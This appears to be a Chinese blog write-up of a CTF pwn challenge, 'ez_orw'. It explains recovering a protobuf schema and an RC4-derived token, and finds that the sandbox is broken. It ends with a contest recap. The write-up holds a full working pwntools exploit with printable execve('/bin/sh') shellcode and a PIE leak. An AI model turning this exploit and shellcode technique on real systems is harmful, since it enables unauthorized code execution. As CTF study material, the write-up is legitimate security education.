只要你做出来了,你就能拿到这个数,拿不到的话我来给你补
文件属性
属性 |
值 |
Arch |
amd64 |
RELRO |
Full |
Canary |
on |
NX |
on |
PIE |
on |
strip |
yes |
seccomp rules
有沙箱,但是无法加载,等效于无沙箱
解题思路
吃一堑吃一堑
早在半决赛的时候,就有过protobuf的题,那个时候不会做,等到我看到了能提取proto的工具,
我也只是想到需要学一下,结果没想到决赛又考了,而我工具还没下,这下输麻了。
那么现在就来介绍一下北邮✌️写的这个工具吧
使用一行命令,这个小工具可以直接将elf里保存的proto导出到文件,
接下来就可以使用protoc工具生成.h
和.c
文件,随便写一个空壳文件并include头文件,
然后写一个空的main
函数,最后-g
两个文件一起编译,就可以将文件拖入Ghidra中,复制出结构体定义了。
1 2 3 4 5 6 7
| protoc --c_out=. ez_orw.proto cat << EOF > c.c #include "ez_orw.pb-c.h" int main() {} EOF gcc -g c.c ez_orw.pb-c.c protoc --python_out=. ez_orw.proto
|
最后还原效果如下图所示

最后在脚本中import ez_orw_pb2
就可以用了。
RC4加密,对吗?
在运行shellcode前,需要对giaotoken
做检查,阅读其中的两个函数,
不难发现是RC4加密,但是如果直接用RC4解密,会发现,得到的明文中有00字符,
并且有一些都不是可见字符。仔细检查解密过程,没有错误,难道是他写的RC4实现有问题?
1 2 3 4 5 6 7 8 9 10
| from Crypto.Cipher import ARC4 ciphertext = bytes.fromhex(''' 6a 36 af a6 7b a8 5f b9 63 7d 83 c7 0c 1c 8d 91 d3 f2 6e 6b b3 f9 77 f8 bf e2 88 e8 fc ec fd 8e fd 92 fe 40 ''') key = b'114514giaogiaogiao99' cipher = ARC4.new(key) print(cipher.decrypt(ciphertext))
|
后半部分看起来是正常的,前半部分不太对。尝试将其作为token输入,得到的结果并不正确。
突然我想到RC4的加解密是对称的,只要用gdb修改token为密文,然后让程序运行加密函数,
就可以从内存中拿到明文。正确结果是一个UUID字符串。也就是说,这道题的RC4实现也有问题。
坏掉的seccomp
在检查完token后,还要对giaoid
,giaosize
以及输入的shellcode做检查,
shellcode必须是可打印字符。还要检查输入的shellcode长度和protobuf长度,
最后应用一个沙箱后执行shellcode。
为了在不输入protobuf的情况下运行沙箱,我选择了用gdb修改rip,让程序直接运行到prctl
的地方,
好不容易把filter拿出来了,让seccomp-tools
解析一下,却发现goto跳转的目标行号,
是要比filter的长度长的。这么显然的错误内核自然不会放过,因此沙箱并没有成功加上,
系统调用失败了。后面我们可以直接execve
拿shell。
连起来
最后,设置一下shellcode的最大长度,满足一下各种条件,再写个shellcode就可得到如下脚本。
妥妥的烂题,沙箱不会写,RC4不会实现,整道题充斥着烂梗,能出这种题目的家里请什么都没用了。
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * import string import ez_orw_pb2 context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' EXE = './ez_orw' printable = bytes(string.printable, 'utf-8')
def payload(lo: int): global t if lo: t = process(EXE) if lo & 2: gdb.attach(t) else: t = remote('', 9999)
t.sendlineafter(b'DO U', b'0x0') t.sendlineafter(b'replenish\n', b'64') pie_base = int(t.recv(14), 16) - 0x5008 success(GOLD_TEXT(f'Got pie_base: {pie_base:#x}')) t.sendline(hex(pie_base + 0x3041).encode())
code = ''' // mov rbx, rax # rax == shellcode push rax pop rbx // xor esi, esi; xor edx, edx push 0x20 pop rax xor al, 0x20 push rax push rax push rax pop rsi pop rdx // 2f2f -> 0f05 push 0x20202020 pop rcx xor word ptr [rbx + 0x20], cx // lea rdi, "/bin/sh" xor rax, qword ptr [rbx + 0x22] push rax push rsp pop rdi // mov eax, SYS_execve push 0x3b pop rax // syscall ''' shellcode = asm(code) + b'\x2f\x25/bin/sh' assert len(shellcode) == 0x20 + 9 and all(byte in printable for byte in shellcode) message = ez_orw_pb2.Msgiao() message.giaoid = 0x114514 message.giaosize = 0x415411 message.giaotoken = b'87dd78e1-9025-4d57-9c2e-418608b3bbea' message.giaocontent = shellcode success(f'Sending shellcode {shellcode}') t.sendafter(b'your giao', message.SerializeToString())
t.clean() t.interactive() t.close()
|

参考
- Rea1Atomic/protobuf-pwn-tool
回顾
决赛跑到福建比赛了,主办方有协议酒店,然后我们选了那个温泉酒店。奇葩的是酒店离场地非常远,
有20+km,会有专车接送。场地挺大,采光很好,中饭是盒饭。
pwn喜提爆0,最后28名,三等奖保底了。
一些照片
酒店房间玻璃上有弹孔😨
去的那天晚上酒店提供晚饭,结果没想到是盒饭
酒店正门照
参赛礼😋
比赛现场
一些平台界面截图
和半决赛差不多

CTF界面

题目界面

总共分CTF和渗透两个赛道